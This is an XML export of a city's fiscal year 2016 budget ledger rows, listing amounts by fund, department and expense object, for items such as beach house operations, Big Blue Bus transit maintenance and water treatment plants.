<row _id="21385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>560075</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>560075</total></row>
<row _id="21386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>76374</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76374</total></row>
<row _id="21387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>219457</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>219457</total></row>
<row _id="21388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3927</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3927</total></row>
<row _id="21389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15708</total></row>
<row _id="21390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-148400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-148400</total></row>
<row _id="21391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>701414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>701414</total></row>
<row _id="21392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7636</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7636</total></row>
<row _id="21393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="21394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545020.0</object><object_description>CULTURAL PROGRAMMING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100000</total></row>
<row _id="21395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12000</total></row>
<row _id="21396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>135000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>135000</total></row>
<row _id="21397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15329</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15329</total></row>
<row _id="21398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3708</total></row>
<row _id="21399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1361</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1361</total></row>
<row _id="21400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>88800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>88800</total></row>
<row _id="21401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="21402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545030.0</object><object_description>CULTURAL SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="21403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1064</total></row>
<row _id="21404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8650</total></row>
<row _id="21405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>126001</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>126001</total></row>
<row _id="21406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>186926</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>186926</total></row>
<row _id="21407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1344</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1344</total></row>
<row _id="21408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-52000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-52000</total></row>
<row _id="21409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-84000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-84000</total></row>
<row _id="21410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>146335</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>146335</total></row>
<row _id="21411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3770</total></row>
<row _id="21412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>677</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>677</total></row>
<row _id="21414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2872</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2872</total></row>
<row _id="21415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400</total></row>
<row _id="21416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="21417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5667</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5667</total></row>
<row _id="21418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>128498</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>128498</total></row>
<row _id="21419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3600</total></row>
<row _id="21420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3000</total></row>
<row _id="21421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="21422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7800</total></row>
<row _id="21423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2004</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2004</total></row>
<row _id="21424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>110192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110192</total></row>
<row _id="21425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>840692</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>840692</total></row>
<row _id="21426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>127095</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>127095</total></row>
<row _id="21427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>53807</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53807</total></row>
<row _id="21428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-138091</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-138091</total></row>
<row _id="21429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1176</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1176</total></row>
<row _id="21430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>110040</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110040</total></row>
<row _id="21431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555015.0</object><object_description>OUTSIDE REPAIRS - BLDG MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>284137</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>284137</total></row>
<row _id="21432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2970</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2970</total></row>
